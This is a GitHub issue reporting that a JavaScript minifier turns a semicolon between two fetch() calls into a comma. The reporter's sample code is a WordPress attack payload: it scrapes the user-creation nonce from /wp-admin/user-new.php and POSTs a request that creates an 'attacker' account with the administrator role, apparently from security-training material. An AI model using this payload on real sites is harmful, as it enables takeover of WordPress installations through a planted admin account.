-
Notifications
You must be signed in to change notification settings - Fork 102
Open
Description
Hi,
Please consider the following copy-pasted code, in particular the semi-colon ";" at the end of the first "fetch()", just before the second (fetch()".
var nonce;
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
fetch(requestURL)
.then(resp => resp.text())
.then(data => nonce = nonceRegex.exec(data)[1])
.catch(error => console.error("Erreur :", error));
fetch(requestURL, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: new URLSearchParams({
action: "createuser",
"_wpnonce_create-user": nonce,
user_login: "attacker",
email: "attacker@offsec.com",
pass1: "attackerpass",
pass2: "attackerpass",
role: "administrator"
})
})
.then(response => response.json())
.then(data => console.log("Response:", data))
.catch(error => console.error("Erreur :", error));
When I use jscompress.com, the result is (copy-paste):
var nonce,requestURL="/wp-admin/user-new.php",nonceRegex=/ser" value="([^"]*?)"/g;fetch(requestURL).then(e=>e.text()).then(e=>nonce=nonceRegex.exec(e)[1]).catch(e=>console.error("Erreur :",e)),fetch(requestURL,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:new URLSearchParams({action:"createuser","_wpnonce_create-user":nonce,user_login:"attacker",email:"attacker@offsec.com",pass1:"attackerpass",pass2:"attackerpass",role:"administrator"})}).then(e=>e.json()).then(e=>console.log("Response:",e)).catch(e=>console.error("Erreur :",e));
We can see the semi-colon mentioned earlier was turned into a comma, which results in a syntax error when I execute the code.
Metadata
Metadata
Assignees
Labels
No labels